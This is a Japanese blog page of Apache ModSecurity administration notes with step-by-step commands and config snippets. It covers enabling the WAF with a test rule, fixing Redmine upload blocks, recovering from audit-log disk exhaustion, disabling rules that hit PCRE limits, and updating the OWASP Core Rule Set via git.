  • バーチャルサイトの設定ファイルバックアップ
sudo cp -pi your_site.conf /path/to/backup/directory/your_site.conf.$(date +%Y%m%d)

.confファイルやバックアップディレクトリは自分の環境を指定します。

  • バックアップ確認
diff -u /path/to/backup/directory/your_site.conf.$(date +%Y%m%d) your_site.conf

エラーがなければバックアップは成功です。

  • ファイル追記

/etc/apache2/sites-available/your_site.confを、以下の差分になるように教義・信仰に沿ったエディタで編集します。(要root権限)

# Mod Security

## ModSecurity有効化
SecRuleEngine On
## ModSecurity検知モード
### 検知モードで動かす場合はSecRuleEngine Onをコメントアウトしてこちらを有効化します
#SecRuleEngine DetectionOnly

## ファイルのアップロードをできるようにします。
SecRequestBodyInMemoryLimit 524288000
SecRequestBodyLimit 524288000

## テスト用の検知パラメータを付け加えます。
    SecRule ARGS:modsecparam "@contains test" "id:4321,deny,status:403,msg:'ModSecurity test rule has triggered'"
  • ファイル差分
diff -u /path/to/backup/directory/your_site.conf.$(date +%Y%m%d) your_site.conf
+# Mod Security
+
+## ModSecurity有効化
+SecRuleEngine On
+## ModSecurity検知モード
+### 検知モードで動かす場合はSecRuleEngine Onをコメントアウトしてこちらを有効化します
+#SecRuleEngine DetectionOnly
+ 
+## ファイルのアップロードをできるようにします。
+SecRequestBodyInMemoryLimit 524288000
+SecRequestBodyLimit 524288000
+
+## テスト用の検知パラメータを付け加えます。
+    SecRule ARGS:modsecparam "@contains test" "id:4321,deny,status:403,msg:'ModSecurity test rule has triggered'"
+
  • 設定追記の整合性を確認
sudo apache2ctl configtest

Syntax OKを確認します。

  • Apache再起動
sudo systemctl restart apache2.service
  • Apache再起動確認
systemctl status apache2.service

active (running) を確認します。

mod_security動作確認

  1. ブラウザで、上記の設定を行ったWebサイトにアクセスし、閲覧できることを確認します。
  2. アドレスバーの末尾に?modsecparam=testを追加してアクセスします。

のように、アクセスできないことを確認します。

また、サーバでも

sudo cat /path/to/sites_log/directory/sites_error.log

※ログの格納場所やログの名前は自分の環境に合わせます。

を開き、

ModSecurity: Access denied with code 403 (phase 2). String match "test" at ARGS:modsecparam. [file "/etc/apache2/sites-enabled/your_site.conf"] [line "53"] [id "4321"] [msg "ModSecurity test rule has triggered"] [hostname "host_address"] [uri "/"] [unique_id "xxxxxxx"]

のように、エラーが発生していることを確認します。

備考

WordPress、Redmine等のWebアプリは自身の操作によって「不審なアクセス」として遮断することが極めてよくあります。(偽陽性)

そのため、テストを行った後は

## ModSecurity有効化
#SecRuleEngine On
## ModSecurity検知モード
### 検知モードで動かす場合はSecRuleEngine Onをコメントアウトしてこちらを有効化します
SecRuleEngine DetectionOnly

として検知モードとして動かした方が良いでしょう。

ケーススタディ・ModSecurity影響下でファイルアップロードできない事象に対応

概要

Redmineでファイルをアップロードしようとした際、ModSecurity (WAF) によってブロックされ、エラーになる事象が発生しました。
その原因と事象解決のメモです。

環境

  • Ubuntu 24.04
  • Apache 2.4
    • RedmineをApacheのMod_Passangerで稼働
  • Redmine 5.1
  • ModSecurity v2 / OWASP Core Rule Set (CRS)

事象の確認

環境をWebArenaからXServerに移行した直後。
Redmineのチケットでファイルをアップロードしようとすると、ファイルアップロードのプログレスバーが完了せず、アップロードできません。

原因の特定

こういうときの答えはたいがい、エラーログに書かれているのでそれを確認します。

見つけたログ(IPアドレスやホスト名は改変済み):

[Wed Aug 13 12:47:21.713637 2025] [security2:error] [pid 11190] [client AAA.BBB.CCC.DDD:40404] ModSecurity: Request body no files data length is larger than the configured limit (131072). [hostname "hoge.example.com"] [uri "/uploads.js"] [unique_id "aJwKye92u8EKc4H_FxCb5QAAABQ"], referer: https://hoge.example.com/issues/123

Request body no files data length is larger than the configured limit (131072)

これは、「ファイル以外のリクエストデータ(no files data)のサイズが、設定された上限値(131072バイト = 128KB)を超えています」という意味です。

Redmineは、ファイルをアップロードする際、ファイルそのものとは別に、チケットの題名や説明といったテキスト情報も同時にサーバーへ送信します。このテキスト情報の合計サイズが、ModSecurityのデフォルトの上限値である128KBを超えてしまったため、攻撃と誤認され、ブロックされる。

というのがAI(Gemini)の回答。

既にApacheのバーチャルサイトの.confファイルには

SecRequestBodyInMemoryLimit 524288000
SecRequestBodyLimit 524288000

と記述していますが、サーバの入れ替えと同時にModSecurityのCRSをアップデートしたことで設定が足りなかったようです。

ここまで分かれば、解決まであと少し。

対処手順

設定ファイルのバックアップ

ModSecurityのメイン設定ファイルで、SecRequestBodyNoFilesLimitの上限値を設定で上書きしていきます。

  • エラーを起こしているバーチャルサイトの.confファイルのバックアップ
sudo cp -pi /etc/apache2/site-available/redmine.conf /path/to/backup/directory/redmine.conf.$(date +%Y%m%d)

.confの名前やバックアップディレクトリは自分の環境に合わせます。

  • バックアップ確認
diff -u /path/to/backup/directory/redmine.conf.$(date +%Y%m%d) /etc/apache2/site-available/redmine.conf

差分がなければ(エラーがなければ)バックアップ成功。

上限値を修正する

上述した設定ファイルを以下のように修正。

修正前(例):

SecRequestBodyInMemoryLimit 524288000
SecRequestBodyLimit 524288000

修正後(例):

SecRequestBodyInMemoryLimit 524288000
SecRequestBodyLimit 524288000
SecRequestBodyNoFilesLimit 524288000

両方の値を同じにしておくと、管理が分かりやすくなります。

なお、500MBとしているのは一時的に大きなファイルを置くこともあるからです。上限値は自分の運用方針やストレージ量に合わせましょう。

修正確認

  • ファイル修正後の差分
diff -u /path/to/backup/directory/redmine.conf.$(date +%Y%m%d) /etc/apache2/site-available/redmine.conf
  • 差分例
SecRequestBodyInMemoryLimit 524288000
SecRequestBodyLimit 524288000
+SecRequestBodyNoFilesLimit 524288000

と、追記した行が出てくることを確認します。

設定反映&動作確認

  • confファイルの構文確認
sudo apache2ctl configtest

Syntax OKを確認します。

  • Webサービス(Apache)再起動
sudo systemctl restart apache2.service
  • Webサービス(Apache)再起動確認
systemctl status apache2.service

Running(active)を確認します。

  • 動作確認

Redmineのチケット作成/編集画面でファイルが正常にアップロードできるようになれば対処完了です。

まとめ

新環境の構築時、最新のCRSを導入したため、旧環境をそのまま引き継いだというのが直接的な原因でした。
こういう罠があちこちに潜んでいるので、何かあったらログを見て事象を確かめるのが事象解消の近道です。

XServer VPS切り替え後のトラブル。(ログの肥大化によるサービス停止と対応・恒久的対応策)

概要

2025/08/12 朝、管理しているWebサーバーにSSHで接続できなくなり、Webサイトも全て閲覧できなくなる障害が発生しました。本記事は、その原因究明から、応急処置、そして恒久対策までの一連の流れを記録したものです。

障害発生時の状況

  • Webサイトにアクセスすると、タイムアウトエラーになる。
  • SSHでログインしようとしても、接続ができない。
  • VPSの管理コンソールから再起動をかけると、redis-serverの停止処理(DBの保存)でタイムアウトし、正常にシャットダウンできない。
  • 強制再起動後、一時的に復旧するものの、しばらくすると再び応答がなくなる。

止まっていたサービス

  • mongod
  • redis-server
  • elasticsearch
  • growi

原因の特定手順

切り分け中に原因判明

障害の切り分け中、Wasabiクラウドストレージをマウントしようとした際に、以下のエラーが発生しました。

  • クラウドストレージのマウントを実行
sudo mount -a
mount.s3fs: unable to access MOUNTPOINT /mnt/wasabi: No space left on device

No space left on device(デバイスに空き領域がありません)」というこのエラーメッセージ。150GBもディスク容量があるのになぜ……? 思いつつ調査を行います。

ディスク使用率の確認

上記のエラーを受け、ディスクの空き容量を確認しました。

df -h

実行結果:

Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1       145G  145G     0 100% /

この結果から、**ルートディレクトリ(/)のディスク使用率が100%**になり、空き容量がゼロになっていることが、数値的にも裏付けられました。

容量を圧迫しているディレクトリの調査

次に、どのディレクトリが容量を使い果たしているのかを調査しました。

sudo du -h -d 1 /

実行結果(抜粋):

125G    /var

/varディレクトリが125GBを占めていることが分かりました。さらに詳細に調査を進めます。

sudo du -h -d 1 /var/log

実行結果(抜粋):

122G    /var/log/apache2

/var/log/apache2が122GBという、異常なサイズになっていることが特定できました。

肥大化したログファイルの特定

その後、/var/log/apache2ディレクトリの中身を確認しました。

ls -lh /var/log/apache2

実行結果(抜粋):

-rw-r-----  1 root adm   61G  8月 12 08:09 modsec_audit.log
-rw-r-----  1 root adm   59G  8月 11 00:15 modsec_audit.log.1

**ModSecurityの監査ログ(modsec_audit.log)**が、わずか2日間で120GB以上にまで肥大化していたことが、直接の原因であると確定しました。

ここまで分かれば対処はもうすぐです。

対処手順

ステップ1:応急処置(空き容量の確保)

まず、サーバーを正常に動作させるため、巨大化した監査ログを削除し、空き容量を確保します。

  • 巨大なログファイルを削除
sudo rm /var/log/apache2/modsec_audit.log*
  • Apacheを再起動して、ファイルハンドルを解放
sudo systemctl restart apache2.service

ステップ2:恒久対策(監査ログの無効化)

modsec_audit.logは、攻撃の詳細な分析やデバッグには役立ちますが、今回のようにログがディスクを圧迫し、サーバーダウンを引き起こしますため、この設定をオフにします。

  1. ModSecurityのメイン設定ファイルを開きます。 sudo nano /etc/modsecurity/modsecurity.conf
  2. SecAuditEngineの値をOffに変更します。 修正前: SecAuditEngine RelevantOnly 修正後: SecAuditEngine Off
  3. Apacheをリロードして設定を反映させます。 sudo systemctl reload apache2.service

その後、念のためサーバそのものを

```bash
sudo reboot
```

で、状況が元に戻っていることを確認しました。

まとめ

今回の障害は、ModSecurityの監査ログが有効になったまま放置され、そのログがログローテーションの対象になっていなかったために、ディスク容量を100%使い果たしたことが原因でした。

前述したとおり、よりよいスペックのサーバに引っ越した後の出来事だけに、かなりの冷や汗ものでした。

Mod_Securityチューニングのケーススタディ:「PCRE limits exceeded」エラーへの対処

概要

先日の記事でgitを用いたmod-securrity core rule setのアップデートを行いました。

このアップデートにより新たに検知されたルールの対処を行います。

環境

  • Ubuntu 24.04
  • Apache 2.4
  • Mod_Security 2系
  • OWASP Core Rule Set v4.1.5
  • ApacheのバーチャルファイルごとにModSecurityを制御

事象

OWASP Core Rule Set (CRS) を導入したModSecurityをブロックモード(SecRuleEngine On)に切り替え後、

Apacheのエラーログに、これまで見られなかった Execution error - PCRE limits exceeded (-47) というエラーが大量に記録されていることを発見しました。

  • エラー例(IPアドレスやホスト名は改変済み)
[Sat Jun 14 11:09:05.195039 2025] [security2:error] [pid 28306:tid 28306] [client AAA.BBB.CCC.DDD:59314] [client AAA.BBB.CCC.DDD] ModSecurity: Rule 73f4b9603e90 [id "951190"][file "/usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-951-DATA-LEAKAGES-SQL.conf"][line "246"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "hoge.example.com"] [uri "/path/to/page.html"] [unique_id "aE_NnHj4jZdbb2PH1-4O0QAAABc"]
[Sat Jun 14 11:09:05.195564 2025] [security2:error] [pid 28306:tid 28306] [client AAA.BBB.CCC.DDD:59314] [client AAA.BBB.CCC.DDD] ModSecurity: Rule 73f4b95f9e98 [id "951210"][file "/usr/share/modsecurity-crs/coreruleset/rules/RESPONSE-951-DATA-LEAKAGES-SQL.conf"][line "288"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "hoge.example.com"] [uri "/path/to/page.html"] [unique_id "aE_NnHj4jZdbb2PH1-4O0QAAABc"]

このログから、SQLインジェクション系の情報漏洩を検知するRESPONSE-951-DATA-LEAKAGES-SQL.confの内容に沿ったものと特定。

cat /var/log/apache2/hoge/error.log |grep 951190 |wc -l

としたところ、数時間で2万件近いログを検知。

PCEリミットとは?

複雑な正規表現を、非常に大きなデータ(Webページなど)に対して実行すると、サーバーのCPUやメモリを大量に消費し、サービス拒否(DoS)攻撃に繋がる危険性があります。これを防ぐため、ModSecurityには処理の複雑さや再帰の深さに上限(リミット)が設けられています。

エラーの原因

今回のエラーは、サーバーが返信するHTMLページ(レスポンスボディ)の内容を、情報漏洩がないか確認するルールがスキャンしようとした際に、そのWebページの内容が非常に大きい、または複雑であったため、PCREの処理上限値を超えてしまったことが原因です。(筆者のサイトの長文が災いしています)

対処内容

この、処理上限値を超えてしまったことでエラーが発生したのですからmodsecurity.confSecPcreMatchLimitの値を大きくすると言うのが考えられる対処ではありますが、

運用しているサイトのvpsのリソースを鑑みて、より簡便な「原因となっている特定のルールのみの無効化」を行いました。

さっくりとした手順

  1. Apacheのバーチャルサイト設定(.confファイル)のバックアップを取ります。
  2. .confファイルの修正を行います。
  3. Apache再起動で修正を反映させます。
  4. ログを確認し、設定反映を確認します。

設定ファイルの修正

  • ファイルのバックアップ
sudo cp -ci /etc/apache2/sites-available/hoge.conf /path/to/backup/directory/hoge.conf.$(date +%Y%m%d)

設定ファイルやバックアップディレクトリは自分の環境に合わせます。

  • バックアップ確認
diff -u /path/to/backup/directory/hoge.conf.$(date +%Y%m%d) /etc/apache2/sites-available/hoge.conf

エラー無く、差分も表示されていなければバックアップは成功です。

  • ファイル修正

/etc/apache2/sites-available/hoge.confを以下のように修正していきます。(要root権限)

# PCREリミット超過エラーを起こす、レスポンスボディスキャン系のルール群を無効化
SecRuleRemoveById 951190
SecRuleRemoveById 951210
SecRuleRemoveById 951220
SecRuleRemoveById 951250
  • ファイル修正確認
diff -u /path/to/backup/directory/hoge.conf.$(date +%Y%m%d) /etc/apache2/sites-available/hoge.conf
  • 差分例
+ # PCREリミット超過エラーを起こす、レスポンスボディスキャン系のルール群を無効化
+ SecRuleRemoveById 951190
+ SecRuleRemoveById 951210
+ SecRuleRemoveById 951220
+ SecRuleRemoveById 951250

設定ファイルの設定反映

  • 構文確認
sudo apache2ctl configtest

Syntax OKを確認します。

  • 設定反映
sudo systemctl restart apache2.service
  • Apache稼働確認
systemctl status apache2.service

active(running)を確認します。

動作確認

対処後、ターミナルで

tail -f /var/log/apache2/hoge/error.log |grep "PCRE limits"

を実行し、しばらく観察します。

このエラーが表示されないことを確認し、処置が完了です。

gitによるmod-securrity core rule setのアップデート。

概要

こちらの方法で導入したMod-Security(WAF)。

この防御ルールであるOWASP Core Rule Setの更新を行います。

環境

  • Ubuntu 24.04
  • Apache 2.4
    • バーチャルサイトで個別設定
    • aptでインストールしているため
    • 設定ファイルは/etc/apache2/sites-available配下の.confファイル
    • サービス実行ユーザはwww-data
  • Mod Security ver.2系

注意点

アップデートにより

  • 追加されたルール
  • 削除されたルール
  • 変更された挙動

などがあるため、今までと同じ作業をしていたのにWAFがブロックした(あるいは今までブロックされていたアクセスがスルーした)などは可能性としてあります。

なので、

  1. ModSecurityを検知モードにして作業を実施する
  2. しばらく様子を見て有効化に戻す

という作業を取ります。そのため、WAFの防御が一度無効化される時間が発生します。

環境や予算が許すなら、インターネットに公開された別環境で試してからの方が良いでしょう。

→ テストが済んでいる状態であれば、本番環境で「ModSecurityをオフにする」の作業は不要になります。

さっくりとした手順

  1. 【事前準備】ModSecurityを検知モードにします。
  2. 【事前準備】ルールセットディレクトリのバックアップを行います。
  3. gitで最新リリースを確認します。
  4. OWASP Core Rule Setのアップデートを行います。
  5. Webサービスの再起動でアップデートを反映させます。
  6. 【事後作業】ModSecurityを有効化します。

【事前準備】ModSecurityを検知モードにします。

  • ディレクトリ移動
cd /etc/apache2/sites-available && pwd
  • .confファイルのバックアップ
sudo cp -pi hoge.conf /path/to/backup/directory/hoge.conf.yyyymmdd
  1. 設定ファイル(.conf)は自分の環境に合わせます。
  2. 任意のバックアップディレクトリを指定します。
  • .confファイルのバックアップ確認
diff -u /path/to/backup/directory/hoge.conf.yyyymmdd hoge.conf

差分が無いことを確認します。

通常、筆者は$(date +%Y%m%d)変数を用いてバックアップを行いますが、「検知モードでの試験」は日をまたぐこともあるため、この形式にしています。

  • .confファイルの編集

hoge.confファイルを管理者権限で修正。

SecRuleEngine On

から

SecRuleEngine DetectionOnly

に変更し、保存します。

  • ファイル修正確認
diff -u /path/to/backup/directory/hoge.conf.$(date +%Y%m%d) hoge.conf

以下の差分を確認します。

- SecRuleEngine On
+ SecRuleEngine DetectionOnly
  • 設定ファイル構文確認
sudo apache2ctl configtest

Syntax OKを確認します。

  • Webサービス再起動前確認
systemctl status apache2.service

active(running)を確認します。

  • Webサービス再起動
sudo systemctl restart apache2.service

※設定ファイルの修正のみのためreloadで十分ですが、念を入れてrestartにしています。(以下同じ)

  • Webサービス再起動後確認
systemctl status apache2.service

active(running)を確認します。

【事前準備】ルールセットディレクトリのバックアップを行います。

cd /usr/share/modsecurity-crs && pwd

これは、上記のリンク先で示した通り、ルールセットを/usr/share/modsecurity-crs/corerulesetに配置していた場合のディレクトリです。

必要に応じて自分の環境に合わせます。

  • ルールセットのディレクトリコピー
sudo cp -pir coreruleset /path/to/backup/directory/coreruleset.$(date +%Y%m%d)

任意のバックアップディレクトリを指定します。

  • ディレクトリコピー確認
ls -l /path/to/backup/directory/coreruleset.$(date +%Y%m%d)

ディレクトリ一式があることを確認します。

OWASP Core Rule Setのアップデート

  • ディレクトリ移動
cd /usr/share/modsecurity-crs/coreruleset && pwd
  • リモートリポジトリの確認
sudo git fetch origin
  • 最新バージョンとの差分確認
sudo git status

筆者環境で、以下のように表示されました。

ブランチ main

このブランチは 'origin/main' に比べて172コミット遅れています。fast-forwardすることができます。

  (use "git pull" to update your local branch)


Changes not staged for commit:

  (use "git add/rm <file>..." to update what will be committed)

  (use "git restore <file>..." to discard changes in working directory)

        deleted:    crs-setup.conf.example


no changes added to commit (use "git add" and/or "git commit -a") 

コミット内容が大幅に変わっているので、上述した「検知モードで様子見にする」が活きてきます。

  • gitによるアップデート
sudo git pull

これで、OWASP Core Rule Setが最新版に変更されました。

Webサービスの再起動でアップデートを反映させます。

  • Webサービス再起動前確認
systemctl status apache2.service

active(running)を確認します。

  • Webサービス再起動
sudo systemctl restart apache2.service
  • Webサービス再起動後確認
systemctl status apache2.service

active(running)を確認します。

その後、既存のWebシステムに問題が無いかを確認します。

tail -f /var/log/hoge/hoge_error.log

等として、通常の作業を行い

  1. 既存のサービスに異常は無いか?
  2. 新たな偽陽性は発生していないか?

等を確認し、それに応じて新たな偽陽性の除外などを行っていきます。

【事後作業】ModSecurityを有効化します。

アップデートの影響で既存サービスに問題が無いことが判明したら、再びModSecurityを有効化します。この例では、バックアップから.confファイルを切り戻します。

  • バーチャルサイト(.conf)ファイルのディレクトリに移動
cd /etc/apache2/sites-available && pwd
  • バックアップから切り戻し
sudo cp -pi /path/to/backup/directory/hoge.conf.$(date +%Y%m%d) hoge.conf
  • Webサービス再起動前確認
systemctl status apache2.service

active(running)を確認します。

  • Webサービス再起動
sudo systemctl restart apache2.service
  • Webサービス再起動後確認
systemctl status apache2.service

active(running)を確認します。

その後、既存のWebシステムに問題が無いかを確認します。

有効化前に既存.confファイルを修正した場合

新たに偽陽性を追加した、既存のファイルを削除した、またはそれに伴う設定変更を行ったことにより、バックアップ前と.confファイルが異なるケースはあります。

その場合は、.confファイルの

SecRuleEngine DetectionOnly

SecRuleEngine On

と修正した後で以下の作業を行います。

  • 設定ファイル構文確認
sudo apache2ctl configtest

Syntax OKを確認します。

  • Webサービス再起動前確認
systemctl status apache2.service

active(running)を確認します。

  • Webサービス再起動
sudo systemctl restart apache2.service
  • Webサービス再起動後確認
systemctl status apache2.service

active(running)を確認します。

Page 1 of 3

Powered by WordPress & Theme by Anders Norén